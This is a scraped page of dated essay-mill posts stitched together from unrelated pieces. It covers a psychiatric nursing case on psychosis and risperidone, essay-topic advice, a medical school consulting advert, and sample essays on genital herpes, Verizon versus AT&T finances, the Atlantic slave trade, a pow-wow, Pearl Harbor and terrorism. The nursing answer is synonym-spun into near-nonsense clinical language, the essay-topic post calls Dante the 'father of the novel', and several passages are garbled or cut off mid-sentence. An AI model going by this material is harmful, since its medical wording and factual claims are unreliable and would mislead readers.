Saturday, August 22, 2020
Pharmacotherapy of Neuropsychiatric Symptom- myassignmenthelp
Question: Expound on thePharmacotherapy of Neuropsychiatric Symptom. Answer: Talk about the key relational ranges of abilities you will use to draw in with Andrew In the introduced clinical situation, the alumni nurture requires using relational abilities for successfully captivating with the patient. Medical attendant expert needs to speak with the patient in a way for setting up the example of relational relatedness. The emotional examination of patients mental disturbance is profoundly essential by the enrolled nurture with the deliberate usage of her past relational encounters of comparable circumstances (Ratcliffe, 2015). The attendant expert requires engaging the point of view of the rewarded persistent and remembers him for the procedure of shared clinical dynamic. The procedure of shared dynamic would help with improving the adherence of the patient to the suggested treatment routine just as care taking systems requiring organization in the 24-hours facility (Mahone, Maphis, Snow, 2016). The medical attendant expert additionally requires directing relational correspondence with the goal of understanding the mind and sense of self condi tion of the intellectually sick patient for the arrangement of successful human services techniques. The arranging and organization of subjective rehabilitative mediations by the medical caretaker proficient for the intellectually unsteady patient warrant the intensive examination of his critical thinking capacity, shrewdness, learning limit, trustworthiness, a longing for equity, fearlessness, listening abilities and synergistic limit by the attendant doctor. This investigation requires the organization of proof based intellectual methodologies for improving the example of commitment of the medical attendant expert with the rewarded quiet (Ertem Kececi, 2016). The medical attendant expert ought to effectively connect with the relatives of the patient during the time spent his psychosocial mind and teach him for getting the example of hopefulness, inspirational demeanor and confidence. The improvement in the example of commitment of the medical attendant expert with the rewarded tol erant requires the exhaustive comprehension of his crazy appearances and upset perspective. The medical caretaker expert should endeavor to challenge the example of patients constant speculation with the efficient usage of abstract encounters and thinking draws near. The successful alleviation of patients constant manner of thinking would aid the advancement of self-administration, critical thinking and adapting limit over the network condition. Resultantly, the patient would efficiently defeat the psychosocial appearances and gain a stable mental state. The medical attendant expert in the introduced clinical situation needs to track and record patients socio-passionate status, assess his individualized points of view, official limit, memory, focus and capacity to focus just as the degree of socialization through the organization of different subjective activities. The powerful assessment of the psychosocial challenges experienced by the patient would help with improving the example of his professional working and network alteration (Chien, Leung, Yeung, Wong, 2013). The specialist expressed that Andrew has indications of a psychosis. Utilizing right clinical terms and the clinical prompts in the situation, examine three significant signs and side effects that help the specialists supposition The social deviation of the patient and disturbance in the manner of thinking and observation demonstrates the advancement of psychosis (NCCMH, 2014). Proof based clinical writing uncovers the unfavorable ramifications of psychosis on the example of discernment, considerations and mental attributions of the rewarded quiet (NCCMH, 2014). In the introduced clinical situation, the patient displays appearances of thought issue, visualizations and hallucinations (Gaebel, 2015). The example of complicated point of view of the patient is confirm by his improper translation of the outside condition. The patient offers his dread of assault from the outside non-living articles and catches an interruption into his cerebrum through innovative mediation. This psychosocial irregularity demonstrates patients unfavorable psychomotor conduct driving the advancement of negative mental side effects. The misidentification of realities by the patient is judiciously apparent by the introduced case situati on. The patient presumes conversations between his kindred understudies and teacher that are attempted with the goal of making deterrents and inconveniences in his everyday daily schedule. These misidentified points of view of the patient obviously show the turn of events and movement of crazy issue (Arciniegas, 2015). The changed sensations experienced by the patient outcomes in the improvement of pipedreams that generously builds the degree of his mental pressure and related mental indications (Chaudhury, 2010). The clinical discoveries in (Waters, et al., 2014) portray the example of mind flights as far as visual dreams experienced by the patient affected by outer boost. The insane patient neglects to typically see the upgrade and misjudges the equivalent along these lines prompting the improvement of psychosocial complexities. The patient in the introduced clinical situation additionally encounters sound-related mental trips that cause him to feel the nearness of others in his p rompt environmental factors in any event, when he stands confined in the shut room. These sound-related visualizations are demonstrative of perceptual issues that predominantly happen in the crazy patients. The example of mental trips experienced by the patient inclines him towards the improvement of sorrow and related neurodegenerative signs (Opjordsmoen, 2014). The example of capricious indications experienced by the patient is related with the eccentric convictions that stay unaltered without intuitive mediations by the nursing proficient. The propensity of misjudgement and confusion of the patient is demonstrative of the improvement of psychosis appearances (Opjordsmoen, 2014). The patient additionally experiences difficulty in associating affected by psychosis that antagonistically impacts his psychological well-being and related health results. The crazy patient additionally encounters a raised danger of securing self-destructive and murderous inclination over the network cond ition. Andrew asks you for what good reason he has a remedy for medicine. Quickly talk about how you would react Risperidone is endorsed to the patient with the goal of adequately controlling the movement of his insane indications (THA, 2017). Medical attendant experts need to clarify the maniacal patient with respect to the adequacy of Risperidone in controlling emotional wellness afflictions identified with the hyper just as crazy scenes. The medical attendant requires depicting the potential impact of pharmacotherapy on the deliberate relief of dissociative crazy appearances. The attendant organization of remedy the executives approaches with psychotherapy is profoundly justified with regards to controlling the example of sound-related pipedreams experienced by the insane patients (Gentile, Dillon, Gillig, 2013). The antipsychotic remedy helps with controlling the co-horrible temperament manifestations just as the example of tension that could bring about the improvement of maniacal disassociation. The state of mind adjustment and misery control of the insane patient are basically required a nd made conceivable with the organization of professionally prescribed medicine draws near. Risperidone evidentially diminishes the inclination of the rewarded quiet as far as encountering a backslide of the maniacal indications. The consistence with the recommended treatment routine won't just control the unfavorable mental signs of the maniacal patient, yet additionally upgrade his certainty and want in defeating the psychosocial confusions through compelling clinical administration. Proof based clinical writing stresses the prerequisite of managing psychological conduct just as pharmacotherapy intercessions for balancing out the negative mental side effects related with crazy issue (Nordentoft Austin, 2014). The nonattendance of physician recommended prescription may exasperate the psychosocial manifestations that would seriously destabilize the psychological well-being of the rewarded understanding. The example of neuropsychiatric manifestations (counting mind-set aggravations a nd lack of concern) requires the organization of antipsychotic drugs with the goal of diminishing patients danger of creating tumult just as self-destructive/desperate ideation (Casey, 2015). The organization of solution the executives ways to deal with the crazy patient would likewise diminish his mental obstruction against the uplifting feedback systems requiring organization for controlling the antagonistic psychosocial results. The general abatement in the example of visualizations, hallucinations, uneasiness and sadness after the organization of medicine mediation would possibly lift the positive impact of mental and rehabilitative methodologies on the psychological wellness of the maniacal patient. This will likewise balance out the deformed manner of thinking of the patient and decrease his inclination towards getting ruinous propensities and related wellbeing misfortunes over the network condition. The organization of medicine remedy will improve the example of expert joint effort between the maniacal patient and the attendant expert. This customary affiliation would likewise help with alleviating the power of maniacal compounding and related burdensome scenes. The GP has mentioned Andrew is educated and painstakingly observed throughout the following scarcely any weeks. Quickly talk about your arrangement The enlisted nurture proficient requires defending patients honesty and discover the organization of suitable
Friday, August 21, 2020
Analytical Essay Topics For College Or Graduate School
Analytical Essay Topics For College Or Graduate SchoolAnalytical essay topics are all over the internet, but what makes a good one? How can you tell if it's worth it to you? The answer is that it depends.It's true that there are many websites and information sources on the internet dedicated to the topic of analytical essay topics for college and graduate school. However, the fact remains that every individual has his or her own set of skills and experiences to draw upon.When writing analytical essay topics for college or graduate school, it's essential that you understand the purpose of the class as well as the specific subject matter that need to be covered. This will make the writing process easier and help keep your mind focused on the primary topic.Also, you should know what you want to accomplish in the course and the theme of the semester. Themes are usually pretty broad - it could be anything from writing about patriotism to the end of the century. If you write the essay to b e used in a course with a specific theme, your topic will be much more focused.When thinking about analytical essay topics for college or graduate school, you also need to think about your writing style. A certain way of communicating may be appropriate when writing for specific purposes, but can be problematic if you're writing about something you're unfamiliar with. Of course, this is subjective, but it's worth pointing out to help avoid mistakes along the way.And lastly, there are different styles. No matter what type of writing you're used to, there will always be people who have a different outlook than you.Dante Alighieri was a famous writer. In fact, he has been referred to as the 'father of the novel.'These are just a few examples of how to write analytical essay topics for college or graduate school. The bottom line is that every single one of us has something to say and a unique experience to draw upon. These are some of the best analytical essay topics for college or grad uate school.
Sunday, June 28, 2020
Get the Most Value Out of Working With a Med School Admissions Consultant
Youââ¬â¢re applying to med school and need to juggle numerous things at once to stay afloat ââ¬â school and/or a job, volunteer activities, MCAT prep, and family obligationsâ⬠¦and thatââ¬â¢s before we even talk about the complicated and time-consuming medical school application process. How can a consultant help you, and how can you get the most out of the experience? Here are three major ways a consultant can help you: 1. Provide guidance on strategy From advising you on which schools to apply to all the way to helping you decide which school to attend, an advisor can help you identify and implement an individualized approach to each part of the application process that will work best for you. Maybe your undergrad institution is very large and itââ¬â¢s hard to get sufficient time with the pre-professional advising office; maybe you have unique challenges to overcome in your application; or maybe youââ¬â¢re just looking for an experienced, knowledgeable expert to bounce ideas off of. A consultant can help you! 2. Help you reduce your stress levels A consultant will help you focus your attention on the sections of the application that you have control over and encourage you to do your best in these areas, so that you can relax when it comes to the parts of the process over which you donââ¬â¢t have any control. This type of coaching and emotional support can also help you increase and enrich your coping mechanisms ââ¬â so that you will not only get into medical school, but will be successful in your training and career. 3. Give you the confidence to present yourself effectively in writing and in interviews By reviewing essays with clients and pointing out how you can improve your writing, admissions consultants empower you to make your dream of medicine a reality. You can write your way into medical school. Through mock interviews, consultants help students by evaluating the rhetoric of their responses, facial expressions, and posture. Understanding how you come across in an interview setting gives you the tools to be more authentic and comfortable in your interviews. This preparation helps take the stress out of an anxiety-laden process, enabling you to apply confidently ââ¬â knowing you represented yourself to the very best of your abilities. To get the most out of your experience working with a consultant: â⬠¢ Be aware that this is a collaborative process, and take advantage of that fact. Work with your consultant to set a schedule that works for you, and stay on track. â⬠¢ Ask for help when you need it! Donââ¬â¢t wait until youââ¬â¢re stressed or confused or feeling frustrated. Consultants have been through this process before ââ¬â benefit from that experience. â⬠¢ Stay organized. It can be helpful to create a spreadsheet to track all of your deadlines (and the dates that you submit materials) ââ¬â but whatever system works best for you is the best choice. If youââ¬â¢re stuck, ask for ideas ââ¬â your consultant can help. â⬠¢ When you and your consultant agree on internal deadlines, stick to that schedule! â⬠¢ Be ready for scheduled appointments, and donââ¬â¢t miss appointments. â⬠¢ Talk to your consultant about any questions, worries, or concerns that you have. â⬠¢ Enjoy the process. Applying to med school isnââ¬â¢t easy, but itââ¬â¢s a process that can help you learn a lot about yourself, your skills, and your motivations. Working with a consultant can give you insights and skills that help you right now ââ¬â with your applications ââ¬â and in the long term. Working with a consultant can give you not only the expertise that will lead to an acceptance, but a mentor and a cheerleader to help you thrive in the application process. Your consultant will be at your side throughout the process, so that you can apply confidently. Our expert medical school consultants are standing by ready to guide you through all parts of the med school application process ââ¬â from strategy, to assistance with application components, to interview prep, to decision counseling. Contact us today! Alicia McNease Nimonkar worked for 5 years as the Student Advisor Director at the UC Davis School of Medicine's postbac program where she both evaluated applications and advised students applying successfully to med school and other health professional programs. She has served Accepted's clients since 2012 with roughly a 90% success rate. She has a Master of Arts in Composition and Rhetoric as well as Literature.à Want Alicia to help you get Accepted? Click here to get in touch! Related Resources: â⬠¢ How to Nail Your Med School Interviews, a free webinar â⬠¢ Put the Med School Application Puzzle Together, a podcast episode â⬠¢ What do the Medical School Admissions Teams Say About Admissions?
Tuesday, May 19, 2020
Genital Herpes (HSV2) Free Essay Example, 2250 words
Besides, it is advised that protected sex be emphasized to prevent the transmission of the virus, which is easily transmitted through contact with the genitals or fluids from genital ulcers. Moreover, oral sex and other physical contact between a healthy person and a carrier of the virus are known to cause transferring of the virus and hence transmitting HSV-2. The rampant rise in the cases of infections of herpes in the US as stated within the general objective of preventing sexually transmitted infection in Healthy People 2020 that presents the main challenge in realizing the objective. Many new infections are experienced annually, especially within the sexually active population, because despite protective measures being adopted, any simple contact with genitals of an infected person may ultimately lead to transmission of the virus. Target Population and Setting This research study focuses on studying genital herpes among women, especially those within the age bracket between 14-49 years of age. The reason for selection of this segment of the population is that this age bracket is very active sexually, and is therefore at higher risk of contracting the infection. We will write a custom essay sample on Genital Herpes (HSV2) or any topic specifically for you Only $17.96 $11.86/pageorder now It is an ascertained fact that adolescent girls as well as young women run a higher risk of developing long term and adverse effects from STIs (ââ¬Ëhealthy people 2020ââ¬â¢, 2011). The limitation of resources as well as time necessitates this study to be conducted using a rather narrow sample population. This paper therefore focuses on young adults within the home-based care centers as well as within nursing homes. The young women within such settings are more susceptible to contracting the genital herpes infection due to their sexual activity. Young people in the modern generation are becoming sexually active at alarmingly young ages and this increases the risk of them contacting the disease. Besides, according to a report by the CDC, women easily contract STI during sexual intercourse especially the penetrative as compared to the rate of transmission from women to men (Center for disease control and prevention, 2013). In fact, statistics sho w that in the US, one among five women within the age bracket stated has contacted genital herpes while one among nine men has contracted the disease. These statistics therefore explain the focus of this study on young women, especially those within the tertiary level of education. Sexual activities are typically rampant within the institutions of higher learning and hence our focus on the primary health care services of such institutions.
Wednesday, May 6, 2020
Essay on Financial Analysis of Verizon versus ATT
Introduction You would not buy a home, car or other large purchases without researching what product offered you the most for your money. The same is true when investing in a company. Investors do avid research on multiple companies to find what company matches the investors criteria. In this paper Team C will research both ATT and Verizons financial documents. Team C will compare selected ratios, cash flow and make recommendations how both companies can manage cash flow for the future. Financial Ratio Analysis Ratio analysis are useful tools when judging the performance of a company by weighing and evaluating the operating performance (Block-Hirt). There are 13 significant ratios that can separate by four main categories,â⬠¦show more contentâ⬠¦The company is cutting back on profits earned but not losing value for its investors with price to earnings being favorable at 19.18 (www.hoovers.com). While analyzing AT T a few differences are noted. As with Verizon, the current ratio did improve with an increase of five percent from 58% in 2005 to 63% in 2006. However, even though debt to equity decreased for both companies AT Ts decrease was only 4% compared to Verizons significant decrease of 23%. The net profit margin ratio did opposite changes between the two companies while Verizons increase not even one full percent AT Ts decreased by almost 3%. Even with these significant changes AT Ts price to earnings, as of 2006, was at 20.89 (www.hoovers.com). These variances tell us a couple of things. First, that AT T has taken on more debt in 2006 versus 2005, but along with that debt they have been able to increase their net profit margin, helping the company in the way of earnings. The strong price to earnings ratio of 20.89 also shows that the shareholders are not faring too poorly either. Both companies other ratios that are both similar and different. A further similarity between the two companies the average collection period of only 45 days, even with this similarity the vast difference in the two numbers that create these ratios are overwhelming. While Verizon had little changes in neither their accountsShow MoreRelatedVerizon vs Att1488 Words à |à 6 PagesInvestors do avid research on multiple companies to find what company matches the investors criteria. In this paper Team C will research both ATT and Verizons financial documents. Team C will compare selected ratios, cash flow and make recommendations how both companies can manage cash flow for the fut ure. Financial Ratio Analysis Ratio analysis are useful tools when judging the performance of a company by weighing and evaluating the operating performance (Block-Hirt). There are 13 significantRead MoreHistory Of Verizon Communications Inc.1538 Words à |à 7 Pages Verizon Stock Analysis and Recommendation Brent Argast, Haneen Hamad, MaryJo Abney Patrick Abney 92 paper; 98 presentation National University Chang G. Park, Ph.D., CPA FIN 609A May 4, 2014 The History of Verizon Communications Verizon Communications Inc., was formed by a merger of Bell Atlantic Corp. and GTE Corp on June 30, 2000. That merger was one of the largest in U.S. business history. Prior to the merger, GTE was one of the largest telecommunications companies with revenuesRead MoreVerizon Wireless Strategic Management5615 Words à |à 23 Pages Verizon Communications, Inc. Executive Summary Verizon Communications, Inc. is based in the state of New York. Verizon is currently considered the leader in delivering broadband and other wireline and wireless communication innovations to mass market, business, government and wholesale customers. The corporation was formed on June 30, 2000, with the merger of Bell Atlantic Corp and GTE Corp and began trading on the New York Stock Exchange on July 3, 2000 under the VZ symbol. Verizon Wirelessââ¬â¢Read MoreComcast Research Paper11960 Words à |à 48 PagesTelevision, Style Network, The Golf Channel, VERSUS, G4, AZN Television, PBS KIDS Sprout, TV One, and Comcast SportsNets. Stephen B. Burke Chief Operating Officer, Comcast Corporation President, Comcast Cable Communications Steve Burke has been with Comcast since 1998. He has focused on the companys growth from a cable industry leader to a world-class communications company. He was an intergral part in leading the highly successful and integration of ATT Broadband with Comcast. His work at ComcastRead MoreApples Swot Analysis2597 Words à |à 11 Pagesof $65,225 million during the financial year ending September 2010, an increase of 52% over 2009. The revenues derived from strong sales of iPhone, iPad and laptops. Its net income reached $14,013 million in 2010, making a huge increase of 70.2% over 2009. This exceptional growth is supported by its competitive advantages of its brand, management, technology and strategy. SWOT Analysis Strengths - Strong brand image - RD driving innovation - Robust financial performance - Loyal customerRead MoreHowa Da7541 Words à |à 31 PagesSports Marketing Sponsorship G JULY 2011 G SMS12.4 paper 5 Does Sponsorship Pay Off pp352-364 KT2 20/7/11 21:23 Page 353 Does sponsorship pay off? G JULY 2011 G 9.58% the other 35 companies spent on sponsorship versus media. We conclude the study by introducing a theory to explain why the sponsoring companies outperformed market averages and enjoyed better results than their peers. The theory is that these companies had an unfair advantage, which contributedRead MoreSonic Marketing Analysis Proposal8791 Words à |à 36 PagesMarketing Analysis Proposal Part One: Introduction Sonic is about to enter a mature and highly competitive PDA market. Founded eighteen months ago, the company was birthed by two entrepreneurs highly skilled and knowledgeable in telecommunications. They are preparing to present their first product, Sonic 1000 PDA. The Sonic 1000 offers wireless networking, digital technology, dual phone use, 20 gigabytes of memory, four megapixel camera, and voice recognitionRead MoreMmt2 Task1 Wgu Essay4127 Words à |à 17 PagesTask 1 Name Tutor Institution Course Date Memorandum Re: Tech Upgrade Proposal To: Mr. Kern From: Me A. I performed a SWOT analysis on the current AEnergy technology infrastructure. A SWOT analysis is a technique and opportunity for a thoughtful overview of where things are good and where things need improvement. SWOT stands for Strengths, Weaknesses, Opportunities, and Threats. Iââ¬â¢ve reviewed our system for all four of the SWOT attributes to give the followingRead More1 What Factors Contributed to the Success of Apple s iPhone7045 Words à |à 29 Pagesbuy an iPhone, versus 27% for RIM [4]. Additionally, iPhone appears to be making gains among business users. Based on a August 2008 survey of technology professionals, 17% indicated intentions to buy iPhones, up from 13% in May 2008 [5]. For businesses with fewer than 500 employees, 34% reported using iPhones compared to 38% using RIM, indicating iPhone is making inroads among business users [5]. Finally, it is important to look at the market shares and intentions to switch for ATT, the wirelessRead MoreWhat factors contributed to the success of Appleââ¬Å¡Ãâà ´s iPhone?7160 Words à |à 29 Pagescomprehensive success model. The success model can be used by both academics and practitioners to understand the reasons why, and ways to ensure that mobile data and commerce services become successful. Keywords - mobile business model, success factor analysis, mobile Internet, mobile data services, iPhone, SmartPhone Yufei Yuan McMaster University, DeGroote School of Business Hamilton, Ontario CANADA yuanyuf@mcmaster.ca II. EVALUATION AND VALIDATION OF SUCCESS To adequately judge whether the iPhone
Atlantic Slave Trade free essay sample
The origins of the Atlantic Slave Trade were products of Western Rupees expansion of power that began at the beginning of the 1 asss through the sasss. The main contributing European countries to the Atlantic Slave Trade were Portugal, Spain, the Netherlands, France, and England. Portugal lead the movement during the sasss and arrived in Western Africa in hopes to find Christian allies to spread Christianity against the Muslims of Northern Africa. But they soon became more interested in trade (Wine, Wine Harold, 2011). Slavery, however, has existed in all cultures for thousands of years. For example, Arab merchants and West African Kings imported white European slaves. At first, the slave trade focused on women and children who would serve as domestic servants. But later the trade switched to focusing on young men for agricultural labor in the Americas. The Portuguese traded primarily for gold, ivory, pepper, as well as slaves. In a war against the English, known as the Anglo- Dutch wars, the Dutch were defeated by the English.The English then enthroned the slave trade through the Royal African Company. Europeans would purchase slaves from Africa for resale in colonies, and in return received sugar and tobacco from America. By the end of the seventeenth century the Atlantic Slave Trade constituted for the basis of the European economic system. The majority of slaves brought to North America originated in West Africa, bringing about consequences for the nations there. Since the trade system had a tendency to centralize, it helped create powerful kingdoms.This destroyed smaller polities and economic patterns were disrupted. Agricultural production also intensified due to the need to supply hundreds of slave ships with food for their voyages. Many nations initiated conflicts to acquire captives since prisoners of war accounted for many of the exported slaves. While many societies sold their own people into slavery, some did resist involvement in the slave trade. Vessels departing from these areas were more likely to have onboard rebellions occur. Planters preferred male slaves, causing a shortage of men in the remaining population.This increased work demands on women and encouraged polygamy, opening up new opportunities to them and their children. The voyage that tied the trading system together was often very traumatic. It was often fatal for the people composing of the ships cargo. An average of twenty percent enslaved peoples died en route. In addition, twenty percent either died before the ships even left Africa, or shortly after arriving in the Americas. The slave trade also affected the Europeans involved. Exposure to diseases such as yellow fever and malaria, from Africa, caused many of them to die at high rates.People and products moved across the Atlantic in a complicated web of exchanges tying the Atlantic together. Many countries and companies profited from it, at the expense of enslaved Africans. Societies economies changed directions and had new priorities. Certain social changes also occurred, such like polygamy being encouraged in West Africa. Sadly, the trade system had a high number of causalities both in slaves and crew members. Overall the Atlantic Slave Trade had a social, political, economic, and cultural impact on slavery in West Africa, European societies, and the enslaved people themselves.
Tuesday, April 21, 2020
The Potato Dance free essay sample
Ive been interested in Native Americans and their culture since I was a little girl. I can track my enthusiasm back to kindergarten, when I had a coloring book featuring the Blackfoot tribe (and the Europeans they were eventually forced to make treaties with). I was fascinated by everything from their feather headdresses to the way that their horses were tethered. I colored every single person in the book bright, scarlet red. My knowledge and awareness of the culture and history of Native American tribes have, thankfully, grown more sophisticated since I was small. In my middle school religion class, I wrote not about Christianity or Buddhism, but about the creation stories of the Algonquin tribes of the Northeast. As a sophomore in high school, I wrote a thirty-page paper about the history and religious traditions of Native American tribes in the Southwest. I did an independent study on contemporary religious practices of the Navajo. We will write a custom essay sample on The Potato Dance or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page This year, Im taking a class at Dartmouth College that surveys modern issues facing Native Americans. One aspect of my interest in Native American culture has remained constant throughout my life. Every year, in early May, I spend three days at the Dartmouth Pow-Wow. Its an event hosted by the college since 1971, where drum groups and dancers from many tribes are invited to compete and celebrate their heritage. When I was little I went to watch the elaborate and colorful costumes spin around during the mens traditional dance. My friends would come and look over the hand-made silver jewelry that was sold during the intermissions, and wed all wish for the intricately beaded necklaces many of the older women wore. Since Ive started high school, the lure of silver rings and cheap burgers no longer draws my friends to the Pow-Wow, but I keep going back. Ill sit by myself for hours on the side of the arena, watching the dancers and listening to the drumming circles. The more Ive learned about Native culture the more I grow to admire it. The resiliency that the people of Native nations has shown in the past few hundred years greatly surpasses that of many people; they resisted genocide, forced assimilation, and, eventually, the termination process to emerge stronger. Last spring, I participated more in the Pow-Wow than I ever had before. It all began when I offered to watch a dancers little brother while he competed. He was about my age, maybe a little older, and had on a costume for the mens traditional dance. Its a dynamic and sometimes quick-paced dance, so his costume had dozens of feathers dangling off his arms and legs to enhance his movements. I said sure, after all, I was only watching. The little boy had a wonderful costume, too; he had rows and rows of yarn fringe in fantastic colors all over his shirt and pants. I guessed that he was dressed for the grass dance competition. As the song finished, the announcer called for the start of the potato dance. Its traditionally a dance for couples, where they hold a potato between their foreheads while attempting to dance with the beat. The last couple remaining with the potato still between their foreheads wins, and some say this is a good omen for their relationship. When the dancer came back to pick up his brother, he noticed me eying the couples lining up to the potato dance. He put his brother down and asked me, ââ¬Å"Do you want to dance?â⬠I had never, ever, been more excited to say yes in my life. We lined up, me in my red cowboy boots and my high school varsity jacket and him still in his costume, with all the other couples. Luckily we got a very large, flat potato, so it wouldnt be a great difficulty to keep it between our foreheads. As the music began, I realized that I knew the steps more than I thought I would. It was music I was familiar with, even though I didnt yet understand the language of the singers. I had seen countless dancers move their feet to this rhythm, and suddenly I was, too! I looked up at him and he was smiling too, probably grateful that I didnt have two left feet. Through some fantastic twist of fate, for my dancing skills were definitely not the best in the arena, we made it through to the final four until we were eliminated. As my partner and I walked back to the bleachers, I thought of the hours spent reading the journals of missionary priests living on reservations and the countless talks with my history, English, and art teachers about the cultures of Native tribes. And then, I realized something. While my family is Irish, through and through, a part of the culture of the Pow-Wow and of the Native Americans has become my own. It wasnt because of my research or my knowledge of important court cases. It was because of the simple act of being asked to dance that I was, if even for a moment, a living and breathing part of the Native community.
Monday, March 16, 2020
ll Live In Infamy
Pearl Harbor, inlet of the island of Oahu, Hawaii, 10 km (6 mi) west of Honolulu, and the site of one of the principal naval bases of the United States. Early in the morning of December 7, 1941, Japanese submarines and carrier-based planes attacked the U.S. Pacific fleet at Pearl Harbor. Nearby military airfields were also attacked by the Japanese planes. Eight American battleships and 13 other naval vessels were sunk or badly damaged, almost 200 American aircraft were destroyed, and approximately 3,000 naval and military personnel were killed or wounded. The attack marked the entrance of Japan into World War II on the side of Germany and Italy, and the entrance of the United States on the Allied side. Soon after the attack, U.S. President Franklin D. Roosevelt appointed a commission of inquiry to determine whether negligence had contributed to the success of the Japanese raid on Pearl Harbor. The commission's report found the naval and army commanders of the Hawaiian area, Rear Admiral Husband E. Kimmel and Major General Walter C. Short, guilty of ââ¬Å"derelictions of dutyâ⬠and ââ¬Å"errors of judgmentâ⬠; the two men were subsequently retired. Other later inquiries, however, differed in their conclusions. The Congress of the United States, in an effort to dispose of the controversy, decided on a full, public investigation after the war. The bipartisan congressional committee opened its investigation in November 1945. Testimony from many people reviewed all known information about the attack on Pearl Harbor. The committee reported its findings in July 1946. It placed the primary blame on General Short and Admiral Kimmel, who, however, were declared guilty only of errors of judgment, and not of derelictions of duty. The committee recommended the unification of the U.S. armed forces, which occurred the following year. The USS Arizona National Memorial, standing above the remains of the battleship in Pearl Harbor, commemorates the Americ... 'll Live In Infamy Free Essays on A Day We\'ll Live In Infamy Pearl Harbor, inlet of the island of Oahu, Hawaii, 10 km (6 mi) west of Honolulu, and the site of one of the principal naval bases of the United States. Early in the morning of December 7, 1941, Japanese submarines and carrier-based planes attacked the U.S. Pacific fleet at Pearl Harbor. Nearby military airfields were also attacked by the Japanese planes. Eight American battleships and 13 other naval vessels were sunk or badly damaged, almost 200 American aircraft were destroyed, and approximately 3,000 naval and military personnel were killed or wounded. The attack marked the entrance of Japan into World War II on the side of Germany and Italy, and the entrance of the United States on the Allied side. Soon after the attack, U.S. President Franklin D. Roosevelt appointed a commission of inquiry to determine whether negligence had contributed to the success of the Japanese raid on Pearl Harbor. The commission's report found the naval and army commanders of the Hawaiian area, Rear Admiral Husband E. Kimmel and Major General Walter C. Short, guilty of ââ¬Å"derelictions of dutyâ⬠and ââ¬Å"errors of judgmentâ⬠; the two men were subsequently retired. Other later inquiries, however, differed in their conclusions. The Congress of the United States, in an effort to dispose of the controversy, decided on a full, public investigation after the war. The bipartisan congressional committee opened its investigation in November 1945. Testimony from many people reviewed all known information about the attack on Pearl Harbor. The committee reported its findings in July 1946. It placed the primary blame on General Short and Admiral Kimmel, who, however, were declared guilty only of errors of judgment, and not of derelictions of duty. The committee recommended the unification of the U.S. armed forces, which occurred the following year. The USS Arizona National Memorial, standing above the remains of the battleship in Pearl Harbor, commemorates the Americ...
Friday, February 28, 2020
Experience MIS Assignment Example | Topics and Well Written Essays - 250 words
Experience MIS - Assignment Example b). Samantha has a competitive strategy which gives her an advantage over her rivals. During slow business times, she calls her former clients to remind them of the importance to trimming their trees on a daily basis. She reminded them of the services she provides to the members (Oââ¬â¢Brien, James, Marakas & George, 2006). C). Knowledge of her competitive advantage would help her greatly in her sales and marketing efforts. Since during times when business is weak she calls her clients to remind them of her services, this gives her a competitive advantage over her rivals who do not do the same. The idea of reminding customers is a marketing tool that would retain customers thus increasing sales (Oââ¬â¢Brien, James, Marakas & George, 2006). d). The information system that Samantha needs to use is the ABC model to lock in customers. According to Kroenke, Bunker, and Wilson, Samantha can use this model to make it expensive for her customers to switch to another service provider. Therefore, Samantha should make use of this system to keep customers (Kroenke, Bunker & Wilson,
Wednesday, February 12, 2020
The Cold War and U.S. Diplomacy Essay Example | Topics and Well Written Essays - 1000 words - 3
The Cold War and U.S. Diplomacy - Essay Example Britain declared that it could no longer manage aid to those key nations. Both Turkey and Greece were potential targets for the Soviets to carry them in as Communistic satellites. The legislature appropriated $400 thousand to support the doctrine implementation. This was moreover to the $3 billion cash dollars financial loan which the US had made to Britain in 1946 (Gurman, 2012). The diplomatic doctrine followed by the president According to Roskin et al (2010), In April 1945Truman, the Vice President of USA was elevated after the fatalities of Franklin D. Roosevelt to the United States presidency. During Trumanââ¬â¢s time frame as president he faced many problems, yet identified many doctrines as alternatives to these problems. His most essential contribution up to now is the Truman Doctrine, which targeted on containing the development of communism everywhere. It was targeted straight at the Soviets, led by Stalin who had been an ally of the USA during World War II. However, th e USA and the USSR were divided by a large ideological beach. So the only factor that organized the associates together was the need to eliminate Adolf Hitler and the Nazis (Kuniholm, 1980). Given their actual variations, when Adolf Hitler was eventually eliminated in 1945, a Cold War was perhaps inevitable. Truman certainly hated communism and faced that it was the responsibility of United States to prevent the development of those ideas. During the Cold War, Truman identified convenience and organized peace which held back Communist development and made cost-effective and government balance through the Truman Doctrine, the North Atlantic Treaty Organization and the Marshall Plan (Graebner, 2002). Effects of the diplomatic efforts of United States and other countries Gurman (2012) pointed out that in 1946, an American diplomat known as George Kennan sent to his superiors in California a long memorandum that was later known as "The Long Telegram." Developing his research upon his ow n outcomes of Communist problems, made from his publish in the US Embassy in Moscow, Kennan analyzed that the Communist Cooperation was normally curved on improving its position of impact all over the whole world. In considering how the Individuals should react, Kennan had written, "It is obvious that the main factor of any United States strategy towards the Communist Cooperation must be that of a long-term, firm and cautious containment of Russian extensive propensitiesâ⬠(Roskin et al, 2010). Kennan's concept of containment became the platform for the foreign policy of United States during the Cold War. Though the Truman Doctrine, considered in the narrowest feeling, only used to the economic downturn then unfolding in Turkey and Greece, in practice it dedicated the United States to a foreign method of containment by attractive resources of United States towards preventing the spread of Communism anywhere on the whole world (Kuniholm, 1980). In support of Truman's method of c ontainment, George C. Marshall the Secretary of State put the Marshall Plan forth. Marshall fearful of Europe, which had faced so much devastation in
Friday, January 31, 2020
War Against Terror Essay Example | Topics and Well Written Essays - 1500 words
War Against Terror - Essay Example Whether the terror war is based on a series of structured brainstorming sessions that began shortly after the terrorist attacks of September 11, 2001, supplemented by selective research and updates (Ronczkowski, 2004, p. 2) or based on London bombings we are still struggling with defining, dealing with, and addressing terrorism and the roles of officials and agencies in combating terrorism. What have we gained so far Terrorism is there; War on terrorism is going on; we have not gained security against terrorism but a social and moral fear because of politics and legal concerns. Such concerns have emerged a new fear and panic within us. On the other hand the field of terrorism in the context of research or military arenas has revealed that there is a lack of awareness, especially by law enforcement personnel, as to how to best deal with and analyse terrorism and terrorist-related activity. Therefore, how are we expecting law enforcement personnel to identify something about which they do not have a conceptual understanding Law enforcement academies have always focused on training and developing an individual so he understands every aspect of what he can do and what is expected of him in criminal-based situations locally, according to state guidelines. So how can law enforcement personnel be expected to effectively address the international reaches of terrorism without proper training and awareness of what they are attempting to identify and analyse Even it is found out that the information obtained from terrorism analysis is used in strategic planning for areas such as crime prevention and conflicts. However, is cr ime prevention the same as terrorism prevention Such a war on terror is producing nothing but causing in the society intense fear, anxiety, apprehension, panic, dread, and horror. (Garaeu, 2004, p. 14) The main targets of terrorist compulsion are the 